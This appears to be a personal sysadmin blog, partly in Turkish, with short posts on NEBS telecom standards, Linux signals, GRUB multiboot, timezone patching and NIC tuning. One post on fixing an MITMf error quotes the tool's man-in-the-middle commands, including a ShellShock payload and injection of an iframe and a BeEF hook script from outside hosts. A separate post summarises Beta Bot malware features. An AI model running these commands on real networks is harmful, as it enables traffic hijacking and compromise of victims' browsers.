Thursday, January 14, 2016

telecom: what is NEBS

NEBS (Network Equipment - Building System) is the most common set of safety, spatial and environmental design guidelines applied to telecommunications equipment in the United States. NEBS is why telephones work after an earthquake or thunderstorm! NEBS requirements are utilized all over the world for a host of commercial, utility and defense applications. Still, the most frequent application of NEBS is to design and test equipment intended for use in Central Offices.

http://telecom-info.telcordia.com/site-cgi/ido/docs2.pl?ID=095698532&page=nebs

Equipment deployed in the network needs to be safe, reliable, and easy to deploy. The NEBS standards in GR-63 and GR-1089 provide
uniform criteria for equipment design intended to reduce the cost of deployment and maintain reliability of the network.

SR-3580 groups the NEBS criteria into three functional levels (I, II, or III). Grouping the criteria into levels helps clarify the
impact of non-conformance and allows the broad range of NEBS requirements to be judiciously applied to equipment, based on the
equipment's application and impact on the operation of the network

http://telecom-info.telcordia.com/site-cgi/ido/docs.cgi?ID=196992314SEARCH&KEYWORDS=&TITLE%20=&DOCUMENT=SR-3580&DATE=&CLASS=&COUNT=1000

What is "NEBS Level 3"?
"NEBS Level 3" is a term from Bellcore special report, SR-3580. This report details 3 distinct functional levels of NEBS compliance based on GR-63-CORE and GR-1089-CORE. The levels allow a wide range of NEBS requirements to be applied to equipment based on application and network impact.
"NEBS Level 1" means that people and equipment hazards and network degradation are minimized. NEBS Level 1 addresses the personnel and equipment safety requirements of GR-63-CORE and GR-1089-CORE. This is useful for getting prototypes into a lab trial. It's also a requirement that is imposed on Competitive Local Exchange Carriers (CLECs) in order for them to deploy equipment into an RBOC's network. This level doesn't address operability, this is addressed in Levels 2 and 3.
"NEBS Level 2" addresses equipment operability, but in a controlled environment. For example, equipment could be used in a data center, however, if the equipment performs non-critical operations it could be used under environmental extremes. Note that this level is very rarely used because it is ambiguous.
"NEBS Level 3" means the equipment is in the network for the long haul. We're talking about Carrier Class with this stringent level. The equipment will operate under the environmental extremes found in a central office. In a nutshell, the equipment meets all of the requirements of GR-63-CORE and GR-1089-CORE.
Telcordia has created a special NEBS page to their SuperStore providing customers with more info on the NEBS documents. Check out Telcordia NEBS Page
NOTES:

Verizon does not follow SR-3580. They use their own NEBS checklist, NEBS Compliance Clarification Document, that details what they believe are important to their network's integrity.
SBC uses 2 levels as detailed in their NEBS checklist TP76200MP.
A combined Telecommunications Carrier Group Checklist can be found here TCG Checklist.

Wednesday, January 13, 2016

linux: Inter-Process Communication

The types of inter process communication are:

Signals - Sent by other processes or the kernel to a specific process to indicate various conditions.
Pipes - Unnamed pipes set up by the shell normally with the "|" character to route output from one program to the input of another.
FIFOS - Named pipes operating on the basis of first data in, first data out.
Message queues - Message queues are a mechanism set up to allow one or more processes to write messages that can be read by one or more other processes.
Semaphores - Counters that are used to control access to shared resources. These counters are used as a locking mechanism to prevent more than one process from using the resource at a time.
Shared memory - The mapping of a memory area to be shared by multiple processes.

Linux Signals

Signals

Linux Signals are:

Signal Name	Number	Description
SIGHUP	1	Hangup (POSIX)
SIGINT	2	Terminal interrupt (ANSI)
SIGQUIT	3	Terminal quit (POSIX)
SIGILL	4	Illegal instruction (ANSI)
SIGTRAP	5	Trace trap (POSIX)
SIGIOT	6	IOT Trap (4.2 BSD)
SIGBUS	7	BUS error (4.2 BSD)
SIGFPE	8	Floating point exception (ANSI)
SIGKILL	9	Kill(can't be caught or ignored) (POSIX)
SIGUSR1	10	User defined signal 1 (POSIX)
SIGSEGV	11	Invalid memory segment access (ANSI)
SIGUSR2	12	User defined signal 2 (POSIX)
SIGPIPE	13	Write on a pipe with no reader, Broken pipe (POSIX)
SIGALRM	14	Alarm clock (POSIX)
SIGTERM	15	Termination (ANSI)
SIGSTKFLT	16	Stack fault
SIGCHLD	17	Child process has stopped or exited, changed (POSIX)
SIGCONT	18	Continue executing, if stopped (POSIX)
SIGSTOP	19	Stop executing(can't be caught or ignored) (POSIX)
SIGTSTP	20	Terminal stop signal (POSIX)
SIGTTIN	21	Background process trying to read, from TTY (POSIX)
SIGTTOU	22	Background process trying to write, to TTY (POSIX)
SIGURG	23	Urgent condition on socket (4.2 BSD)
SIGXCPU	24	CPU limit exceeded (4.2 BSD)
SIGXFSZ	25	File size limit exceeded (4.2 BSD)
SIGVTALRM	26	Virtual alarm clock (4.2 BSD)
SIGPROF	27	Profiling alarm clock (4.2 BSD)
SIGWINCH	28	Window size change (4.3 BSD, Sun)
SIGIO	29	I/O now possible (4.2 BSD)
SIGPWR	30	Power failure restart (System V)

As noted above, processes can ignore, block, or catch all signals except SIGSTOP and SIGKILL. If a process catches a signal, it means that it includes code that will take appropriate action when the signal is received. If the signal is not caught by the process, the kernel will take default action for the signal.

linux: process state codes

The codes used are:

Code	Meaning
D	Uninterruptible sleep (usually IO)
R	Running or runnable (on run queue)
S	Interruptible sleep (waiting for an event to complete)
T	Stopped, either by a job control signal or because it is being traced.
W	paging (not valid since the 2.6.xx kernel)
X	dead (should never be seen)
Z	Defunct (“zombie”) process, terminated but not reaped by its parent.

For BSD formats and when the stat keyword is used, additional characters may be displayed:

Code	Meaning
<	high-priority (not nice to other users)
N	low-priority (nice to other users)
L	has pages locked into memory (for real-time and custom IO)
s	is a session leader
l	is multi-threaded (using CLONE_THREAD, like NPTL pthreads do)
+	is in the foreground process group

D state occurs then the process is in uninterruptible sleep. This state is bad, because you can't do anything with the process in D state.

Monday, January 11, 2016

linux: stress testing for specific cpu cores

testi baslatma:

# taskset -c 87-95 bash -c 'while true; do selam >/dev/null; done &

cpu durumlarini gozlemleme:

mpstat -P ALL

testi durdurma:

kill -9 %1
(1 numarali job'i durdurmak icin)

Friday, January 8, 2016

linux: IRQBALANCE

In a computer, an interrupt request (or IRQ) is a hardware signal sent to the processor that temporarily stops a running program and allows a special program, an interrupt handler, to run instead. Hardware interrupts are used to handle events such as receiving data from a modem or network card, key presses, or mouse movements.

IRQBALANCE

irqbalance is a command line tool that distributes hardware interrupts across processors to improve system performance. It runs as a daemon by default, but can be run once only with the --oneshot option.

http://www.thegeekstuff.com/2014/01/linux-interrupts/

Scaling in the Linux Networking Stack

Scaling in the Linux Networking Stack

  RSS: Receive Side Scaling
  RPS: Receive Packet Steering
  RFS: Receive Flow Steering
  Accelerated Receive Flow Steering
  XPS: Transmit Packet Steering

Tuesday, January 5, 2016

how to send curl http request to ipv6 ip address

curl -v -g "http://[1a04:a0:2002:4201::50]"

* About to connect() to 1a04:a0:2002:4201::50 port 80 (#0)

* Trying 1a04:a0:2002:4201::50... Connection timed out

* couldn't connect to host

* Closing connection #0

curl: (7) couldn't connect to host

Wednesday, November 11, 2015

multiple boot with grub on oracle enterprise linux 6.5

Kurulumlar ortak swap alanı farklı rootfs kullanıyor. 

[root@node4 ~]# blkid

/dev/sdb1: UUID="b8098d8d-b31b-40af-9dcd-96a7682a4320" TYPE="ext4"

/dev/sdb2: UUID="09e6a3a8-b681-4403-bd14-a30cbc1f3080" TYPE="swap"

/dev/sdb3: UUID="0a647f56-2e21-495b-9be7-875633145a98" TYPE="ext4"

/dev/sdb4: UUID="aa9054bb-e9d1-43ba-85df-74a4d8ed8438" TYPE="ext4"

/dev/sdb5: UUID="4c382078-f1f1-4a8d-bf25-0748de9c6e54" TYPE="ext4"

[root@node4 ~]# cat /etc/grub.conf | grep -v ^# | grep -v ^$

default=0

timeout=10

splashimage=(hd1,4)/boot/grub/splash.xpm.gz

hiddenmenu

title Node 1 Oracle Linux Server Unbreakable Enterprise Kernel (3.8.13-16.2.1.el6uek.x86_64)

        root (hd1,0)

        kernel /boot/vmlinuz-3.8.13-16.2.1.el6uek.x86_64 ro root=UUID=b8098d8d-b31b-40af-9dcd-96a7682a4320 rd_NO_LUKS rd_NO_LVM LANG=en_US.UTF-8 rd_NO_MD SYSFONT=latarcyrheb-sun16   KEYBOARDTYPE=pc KEYTABLE=us rd_NO_DM rhgb quiet

        initrd /boot/initramfs-3.8.13-16.2.1.el6uek.x86_64.img

title Node 2 Oracle Linux Server Unbreakable Enterprise Kernel (3.8.13-16.2.1.el6uek.x86_64)

        root (hd1,2)

        kernel /boot/vmlinuz-3.8.13-16.2.1.el6uek.x86_64 ro root=UUID=0a647f56-2e21-495b-9be7-875633145a98 rd_NO_LUKS rd_NO_LVM LANG=en_US.UTF-8 rd_NO_MD SYSFONT=latarcyrheb-sun16   KEYBOARDTYPE=pc KEYTABLE=us rd_NO_DM rhgb quiet

        initrd /boot/initramfs-3.8.13-16.2.1.el6uek.x86_64.img

title Node 3 Oracle Linux Server Unbreakable Enterprise Kernel (3.8.13-16.2.1.el6uek.x86_64)

        root (hd1,3)

        kernel /boot/vmlinuz-3.8.13-16.2.1.el6uek.x86_64 ro root=UUID=aa9054bb-e9d1-43ba-85df-74a4d8ed8438 rd_NO_LUKS rd_NO_LVM LANG=en_US.UTF-8 rd_NO_MD SYSFONT=latarcyrheb-sun16   KEYBOARDTYPE=pc KEYTABLE=us rd_NO_DM rhgb quiet

        initrd /boot/initramfs-3.8.13-16.2.1.el6uek.x86_64.img

title Node 4 Oracle Linux Server Unbreakable Enterprise Kernel (3.8.13-16.2.1.el6uek.x86_64)

        root (hd1,4)

        kernel /boot/vmlinuz-3.8.13-16.2.1.el6uek.x86_64 ro root=UUID=4c382078-f1f1-4a8d-bf25-0748de9c6e54 rd_NO_LUKS rd_NO_LVM LANG=en_US.UTF-8 rd_NO_MD SYSFONT=latarcyrheb-sun16   KEYBOARDTYPE=pc KEYTABLE=us rd_NO_DM rhgb quiet

        initrd /boot/initramfs-3.8.13-16.2.1.el6uek.x86_64.img

Friday, November 6, 2015

OS X El Capitan: otomatik metin duzeltme ozelliginin kapatilmasi

Open System Preferences from the  Apple menu as usual, then go to “Keyboard”
Choose the “Text” tab
Uncheck the box next to “Correct spelling automatically”

Monday, October 26, 2015

nginx: reverse proxy with basic authentication

/etc/nginx/sites-enabled/default:

server {
...

location /web/x/ {
proxy_pass http://127.0.0.1:8080/;
auth_basic "Restricted";
auth_basic_user_file /etc/nginx/.htpasswd;
}

...

}

Tuesday, October 20, 2015

linux, freebsd: 8 Kasım yaz saatının sonra ermesı - kış saati uygulaması için sunucuda yapılması gerekenler

8 Kasım 2015 kış saatı uygulaması (yaz saati uygulamasının sona ermesi) için sunucuda yapılması gerekenler:

Ntp sunucu kullanılıyor olsanız dahi patch'i uygulamak durumundasınız.

Redhat Linux kış saati 6.5 üzerinde yaptığım işlemler

Eğer redhat 6 tabanlı bir sisteminiz varsa aşağıdaki rpm kurulumu işinizi görecektir.Eğer redhat 7 tabanlı bir sisteminiz varsa buna uygun rpm'i yüklemelisiniz. Patch kurulumu sonrası sisteminizin otomatik saat güncellemesini alabimesi için doğru timezone'da olduğunuzu da teyid etmelisiniz. (Bknz:http://siyahsapkaorg.blogspot.com.tr/2015/10/linux-how-to-get-timezone-information.html)

[root@node1 ~]# rpm -Uvh http://mirror.centos.org/centos/6/updates/x86_64/Packages/tzdata-2015g-2.el6.noarch.rpm
Retrieving http://mirror.centos.org/centos/6/updates/x86_64/Packages/tzdata-2015g-2.el6.noarch.rpm
warning: /var/tmp/rpm-tmp.pTNoiM: Header V3 RSA/SHA1 Signature, key ID c105b9de: NOKEY
Preparing... ########################################### [100%]
1:tzdata ########################################### [100%]

[root@node1 ~]# zdump -c 2015,2016 -v "Europe/Istanbul"
Europe/Istanbul -9223372036854775808 = NULL
Europe/Istanbul -9223372036854689408 = NULL
Europe/Istanbul Sun Mar 29 00:59:59 2015 UTC = Sun Mar 29 02:59:59 2015 EET isdst=0 gmtoff=7200
Europe/Istanbul Sun Mar 29 01:00:00 2015 UTC = Sun Mar 29 04:00:00 2015 EEST isdst=1 gmtoff=10800
Europe/Istanbul Sun Nov 8 00:59:59 2015 UTC = Sun Nov 8 03:59:59 2015 EEST isdst=1 gmtoff=10800
Europe/Istanbul Sun Nov 8 01:00:00 2015 UTC = Sun Nov 8 03:00:00 2015 EET isdst=0 gmtoff=7200
Europe/Istanbul 9223372036854689407 = NULL
Europe/Istanbul 9223372036854775807 = NULL

https://rhn.redhat.com/errata/RHEA-2015-1863.html

https://bugs.launchpad.net/ubuntu/+source/tzdata/+bug/1503560

https://phoneboy.com/1381/use-ntp-you-still-need-daylight-saving-time-patches/

FreeBSD kış saati 8.3 x86_64 sistem üzerinde yaptığım işlemler:

tedbir amaçlı eski zoneinfo dosyalarımızın backup'ını alalım

# tar -pczf zoneinfo-backup.tgz /usr/share/zoneinfo-backup

zone dosyamızın yolunu öğrenelim
Bu dosyayı güncel olanı ile değiştireceğiz.

# ls -al /etc/localtime
lrwxr-xr-x 1 root wheel 35 Jun 11 2014 /etc/localtime -> /usr/share/zoneinfo/Europe/Istanbul

# pwd
/root
# mkdir tz
# cd tz
# wget --retr-symlinks 'ftp://ftp.iana.org/tz/tz*-latest.tar.gz'
# gzip -dc tzcode-latest.tar.gz | tar -xf -
# gzip -dc tzdata-latest.tar.gz | tar -xf -
# make TOPDIR=/root/tz install

zone dosyamızı güncelleyelim

# cp /root/tz/etc/zoneinfo/Europe/Istanbul /usr/share/zoneinfo/Europe/Istanbul

ve son olarak kontrol işlemlerimizi gerçekleştiriyoruz:

# date "+%Z %z"
EEST +0300

# zdump -c 2015,2016 -v /etc/localtime
/etc/localtime Sun Jan 0 00:00:00 1900 UTC = Sun Jan 0 00:00:00 1900 LMT isdst=0 gmtoff=0
/etc/localtime Sun Jan 0 00:00:00 1900 UTC = Sun Jan 0 00:00:00 1900 LMT isdst=0 gmtoff=0
/etc/localtime Sun Mar 29 00:59:59 2015 UTC = Sun Mar 29 02:59:59 2015 EET isdst=0 gmtoff=7200
/etc/localtime Sun Mar 29 01:00:00 2015 UTC = Sun Mar 29 04:00:00 2015 EEST isdst=1 gmtoff=10800
/etc/localtime Sun Nov 8 00:59:59 2015 UTC = Sun Nov 8 03:59:59 2015 EEST isdst=1 gmtoff=10800
/etc/localtime Sun Nov 8 01:00:00 2015 UTC = Sun Nov 8 03:00:00 2015 EET isdst=0 gmtoff=7200
/etc/localtime Thu Dec 31 15:00:00 2015 UTC = Sat Dec 3 17:30:07 219250468 EET isdst=0 gmtoff=7200
/etc/localtime Sat Dec 3 17:30:07 219250468 UTC = Sun Dec 4 17:30:07 219250468 EET isdst=0 gmtoff=7200

Java Virtual Machine için time zone ayarı:,

java-1.7.0-openjdk-1.7.0.55-2.4.7.1.0.1.el6_5.x86_64

# export TZ=Europe/Istanbul ; java -jar /tmp/hede.jar ; date "+%Z%z %F %T"
Tue Oct 27 13:43:56 EEST 2015
Europe/Istanbul
Current time in milliseconds = 1445942636596 => Tue Oct 27 13:43:56 EEST 2015
Current time zone: Europe/Istanbul
EEST+0300 2015-10-27 13:43:56

http://www.java-examples.com/get-current-timezone-using-java-calendar

Eğer openjdk kullanıyorsanız. oracle jdk tzupdate yöntemi ile elde ettiğiniz timezone dosyalarını /usr/share/javazi/ dizinine kopyalamalısınız.

$ java -jar get-time-zone.jar
Tue Oct 27 15:21:28 EET 2015
Europe/Istanbul
Current time in milliseconds = 1445952088773 => Tue Oct 27 15:21:28 EET 2015
Current time zone: Europe/Istanbul

$ sudo cp -pfr openjdk/javazi/* /usr/share/javazi/

$ java -jar get-time-zone.jar
Tue Oct 27 16:22:02 EEST 2015
Europe/Istanbul
Current time in milliseconds = 1445952122068 => Tue Oct 27 16:22:02 EEST 2015
Current time zone: Europe/Istanbul

$ ls openjdk/javazi/
Africa Antarctica Atlantic CET EET EST5EDT Europe HST MET MST7MDT PST8PDT WET
America Asia Australia CST6CDT EST Etc GMT Indian MST Pacific SystemV ZoneInfoMappings

Thursday, October 15, 2015

how to install bigvideo.js with bower on centos 6.5

# yum install npm

# npm install -g bower

-bash-4.1$ bower install BigVideo.js
bower jquery#>=1.7.2            cached git://github.com/jquery/jquery.git#2.1.4
bower jquery#>=1.7.2          validate 2.1.4 against git://github.com/jquery/jquery.git#>=1.7.2
bower jquery-ui#>=1.8.22        cached git://github.com/components/jqueryui.git#1.11.4
bower jquery-ui#>=1.8.22      validate 1.11.4 against git://github.com/components/jqueryui.git#>=1.8.22
bower video.js#>=3.2.0          cached git://github.com/videojs/video.js.git#5.0.0
bower video.js#>=3.2.0        validate 5.0.0 against git://github.com/videojs/video.js.git#>=3.2.0
bower imagesloaded#>=2.1.1      cached git://github.com/desandro/imagesloaded.git#3.1.8
bower imagesloaded#>=2.1.1    validate 3.1.8 against git://github.com/desandro/imagesloaded.git#>=2.1.1
bower BigVideo.js#*             cached git://github.com/dfcb/BigVideo.js.git#1.1.5
bower BigVideo.js#*           validate 1.1.5 against git://github.com/dfcb/BigVideo.js.git#*
bower jquery#>=1.6              cached git://github.com/jquery/jquery.git#2.1.4
bower jquery#>=1.6            validate 2.1.4 against git://github.com/jquery/jquery.git#>=1.6
bower eventEmitter#4.x          cached git://github.com/Olical/EventEmitter.git#4.3.0
bower eventEmitter#4.x        validate 4.3.0 against git://github.com/Olical/EventEmitter.git#4.x
bower eventie#>=1.0.4 <2        cached git://github.com/desandro/eventie.git#1.0.6
bower eventie#>=1.0.4 <2      validate 1.0.6 against git://github.com/desandro/eventie.git#>=1.0.4 <2
bower imagesloaded#>=2.1.1     install imagesloaded#3.1.8
bower video.js#>=3.2.0         install video.js#5.0.0
bower jquery-ui#>=1.8.22       install jquery-ui#1.11.4
bower jquery#>=1.7.2           install jquery#2.1.4
bower BigVideo#~1.1.5          install BigVideo#1.1.5
bower eventEmitter#4.x         install eventEmitter#4.3.0
bower eventie#>=1.0.4 <2       install eventie#1.0.6

imagesloaded#3.1.8 bower_components/imagesloaded
├── eventEmitter#4.3.0
└── eventie#1.0.6

video.js#5.0.0 bower_components/video.js

jquery-ui#1.11.4 bower_components/jquery-ui
└── jquery#2.1.4

jquery#2.1.4 bower_components/jquery

BigVideo#1.1.5 bower_components/BigVideo
├── imagesloaded#3.1.8
├── jquery#2.1.4
├── jquery-ui#1.11.4
└── video.js#5.0.0

eventEmitter#4.3.0 bower_components/eventEmitter

eventie#1.0.6 bower_components/eventie

linux: how to get timezone information

timezone bilgisi /etc/localtime dosyasinda saklanir.
bu dosya binary formattadir. binary dosyalar icerisindeki degiskenler strings komutu ile analiz edilebilir.

$ strings /etc/localtime | more

timezone dosya boyutunu mevcut timezone dosyalari ile kiyaslayarak time zone bilgisi ogrenme:
$ cd /usr/share/zoneinfo
$ find * -type f -exec sh -c "diff -q /etc/localtime '{}' > /dev/null && echo {}" \;

datetime komutu ile timezone bilgisi ogrenme:
$ date +'%:z %Z'

Wednesday, October 14, 2015

linux shell: how to run bash command with timeout

bash$ (date >> /tmp/bw.log ; vnstat -l -i bond0 &>> /tmp/bw.log) & sleep 5 ; kill $!

linux shell: paste komutu kullanımı

$ cat testfile
A 1
B 2
C 3
D 4
E 5
F 6
G 7
H 8
I 9
J 10
$ cut -d' ' -f2 testfile
1
2
3
4
5
6
7
8
9
10
$ cut -d' ' -f2 testfile | paste -d, - -
1,2
3,4
5,6
7,8
9,10

Keywords: how to parse and group lines, how to convert lines to columns, how to convert rows to columns

Thursday, October 8, 2015

bash: how to send syslog test message

echo "<133>$0[$$]: Test syslog message from Netcat" | nc -w1 -u 192.168.1.254 1501

Linux: how to optimize an ethernet adapter settings

Platform:

Red Hat Enterprise Linux Server release 6.5 (Santiago)
how to learn ethernet device driver details

ethtool -i eth1

# ethtool -i eth1
driver: igb
version: 5.2.5
firmware-version: 2.1.0
bus-info: 0000:01:00.1
supports-statistics: yes
supports-test: yes
supports-eeprom-access: yes
supports-register-dump: yes
supports-priv-flags: no

# lspci -v | grep -A 14 '01:00.1'
01:00.1 Ethernet controller: Intel Corporation 82575EB Gigabit Network Connection (rev 02)
Subsystem: Intel Corporation Device 34de
Flags: bus master, fast devsel, latency 0, IRQ 28
Memory at b1a00000 (32-bit, non-prefetchable) [size=128K]
I/O ports at 1000 [size=32]
Memory at b1a40000 (32-bit, non-prefetchable) [size=16K]
Capabilities: [40] Power Management version 2
Capabilities: [50] MSI: Enable- Count=1/1 Maskable- 64bit+
Capabilities: [60] MSI-X: Enable+ Count=10 Masked-
Capabilities: [a0] Express Endpoint, MSI 00
Capabilities: [100] Advanced Error Reporting
Capabilities: [140] Device Serial Number 00-1e-67-ff-ff-0c-9a-29
Kernel driver in use: igb
Kernel modules: igb

how to list ethernet adapter list

[root@server~]# lspci | grep Ethernet
01:00.0 Ethernet controller: Intel Corporation 82575EB Gigabit Network Connection (rev 02)
01:00.1 Ethernet controller: Intel Corporation 82575EB Gigabit Network Connection (rev 02)
02:00.0 Ethernet controller: Intel Corporation I350 Gigabit Network Connection (rev 01)
02:00.1 Ethernet controller: Intel Corporation I350 Gigabit Network Connection (rev 01)

how to learn supported RX / TX ring buffer settings of an ethernet adapter

# ethtool -g eth1
Ring parameters for eth1:
Pre-set maximums:
RX: 4096
RX Mini: 0
RX Jumbo: 0
TX: 4096
Current hardware settings:
RX: 256
RX Mini: 0
RX Jumbo: 0
TX: 256

how to change ethernet adapter rx tx ring buffer settings

# ethtool -G eth1 rx 4096 tx 4096
# ethtool -g eth1
Ring parameters for eth1:
Pre-set maximums:
RX: 4096
RX Mini: 0
RX Jumbo: 0
TX: 4096
Current hardware settings:
RX: 4096
RX Mini: 0
RX Jumbo: 0
TX: 4096

how to change ethernet features for increase ids/ips packet processing performance

disable RX checksumming :
# ethtool -K eth1 rx off

disable TX checksumming
# ethtool -K eth1 tx off

disable TCP segmentation offload
# ethtool -K eth1 tso off

disable generic receive offload
# ethtool -K eth1 gro off

disable generic segmentation offload
# ethtool -K eth1 gso off

disable scatter-gather
# ethtool -K eth1 sg off

how to show features of ethernet adapter

# ethtool -k eth1
Features for eth1:
rx-checksumming: on
tx-checksumming: on
tx-checksum-ipv4: on
tx-checksum-ip-generic: off [fixed]
tx-checksum-ipv6: on
tx-checksum-fcoe-crc: off [fixed]
tx-checksum-sctp: off [fixed]
scatter-gather: on
tx-scatter-gather: on
tx-scatter-gather-fraglist: off [fixed]
tcp-segmentation-offload: on
tx-tcp-segmentation: on
tx-tcp-ecn-segmentation: off [fixed]
tx-tcp6-segmentation: on
udp-fragmentation-offload: off [fixed]
generic-segmentation-offload: on
generic-receive-offload: on
large-receive-offload: off
rx-vlan-offload: on
tx-vlan-offload: on
ntuple-filters: off [fixed]
receive-hashing: on
highdma: on [fixed]
rx-vlan-filter: on [fixed]
vlan-challenged: off [fixed]
tx-lockless: off [fixed]
netns-local: off [fixed]
tx-gso-robust: off [fixed]
tx-fcoe-segmentation: off [fixed]
fcoe-mtu: off [fixed]
tx-nocache-copy: on
loopback: off [fixed]
rx-fcs: off [fixed]
rx-all: off [fixed]

Keywords: eth0 overrun problem, eth0 drop problem, packet processsing, ips, ids, suricata, snort, bro network security monitor, packet drop

2015-10-08 - Ali Okan Yuksel - yukselao@yandex.com

Sunday, October 4, 2015

mitmf: ImportError: cannot import name LOG

About mitmf:

MITMf aims to provide a one-stop-shop for Man-In-The-Middle and network attacks while updating and improving existing attacks and techniques.

Same as above with a ShellShock payload that will be executed if any client is vulnerable:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
Inject an HTML IFrame using the Inject plugin:
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
Inject a JS script:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js

Hata:

Traceback (most recent call last):

File "./mitmf.py", line 180, in <module>

from core.protocols.smb.SMBserver import SMBserver

File "/usr/share/mitmf/core/protocols/smb/SMBserver.py", line 5, in <module>

from impacket import version, smbserver, LOG

ImportError: cannot import name LOG

Çözüm:

root@kali:~# pip install impacket --upgrade

Beta Bot Analysis

Win32.Neurevt, circulating under the name Beta Bot is an HTTP bot that entered in the underground market in the first part of 2013.

As we can see the information from the Sales Thread, this piece of code which written in C++ has many functionalities. Among others, we found:

AV-Disabling
Bot Killer
Ring3 Rootkit
Custom Injection Techniques
Proactive Defense Mode

At less than €500, Beta Bot is sold relatively cheap, considering its vast feature list. It includes also standard features for today’s bots, like different DOS-attack methods, DNS Blocker, etc...

Reference & details:

http://resources.infosecinstitute.com/beta-bot-analysis-part-1/

http://resources.infosecinstitute.com/beta-bot-analysis-part-2/

Credits and References:

https://github.com/KenMacD/betabot-re
https://blog.fortinet.com/post/neurevt-bot-analysis
http://vrt-blog.snort.org/2014/05/betabot-process-injection.html
https://asert.arbornetworks.com/beta-bot-a-code-review/

Thursday, October 1, 2015

IPMI: Intelligent Platform Management Interface

The Intelligent Platform Management Interface (IPMI) is a set of computer interface specifications for an autonomous computer subsystem that provides management and monitoring capabilities independently of the host system's CPU, firmware (BIOS or UEFI) and operating system. IPMI defines a set of interfaces used by system administrators for out-of-band management of computer systems and monitoring of their operation. For example, IPMI provides a way to manage a computer that may be powered off or otherwise unresponsive by using a network connection to the hardware rather than to an operating system or login shell.

fence_ipmilan

http://linux.die.net/man/8/fence_ipmilan

fence_ipmilan is an I/O Fencing agent which can be used with machines controlled by IPMI. This agent calls support software using ipmitool (http://ipmitool.sf.net/).
To use fence_ipmilan with HP iLO 3 you have to enable lanplus option (lanplus / -P) and increase wait after operation to 4 seconds (power_wait=4 / -T 4)
fence_ipmilan accepts options on the command line as well as from stdin. Fenced sends parameters through stdin when it execs the agent. fence_ipmilan can be run by itself with command line options. This is useful for testing and for turning outlets on or off from scripts.

Monday, September 28, 2015

python: multicast echo server

python: multicast echo server

code:

#!/usr/bin/python

##
# Author: Ali Okan Yuksel
# E-mail: okan.yuksel[at]vizyonarge.com
##

import socket
import struct
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('', 1111))
mreq = struct.pack("=4sl", socket.inet_aton("226.2.14.8"), socket.INADDR_ANY)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)

while True:
line=sock.recv(10240)
print line
print "--"

Wednesday, September 16, 2015

How to: Delete a remote Git tag

git tag -d 12345
git push origin :refs/tags/12345

python traceback module usage

In Python 2.x:

import traceback

try:
    raise TypeError("Oups!")
except Exception, err:
    try:
        raise TypeError("Again !?!")
    except:
        pass

    traceback.print_exc()

Python 3.x :

import traceback

try:
    raise TypeError("Oups!")
except Exception as err:
    try:
        raise TypeError("Again !?!")
    except:
        pass

    traceback.print_tb(err.__traceback__)

Thursday, September 3, 2015

how to import csv file to sqlite3 database with custom a separator char on bash shell

how to import csv file to sqlite3 database with custom separator on bash shell:

echo -e '.separator ";"\n.import x datatmp' | sqlite3 /usr/local/app/graphs/data/data.db

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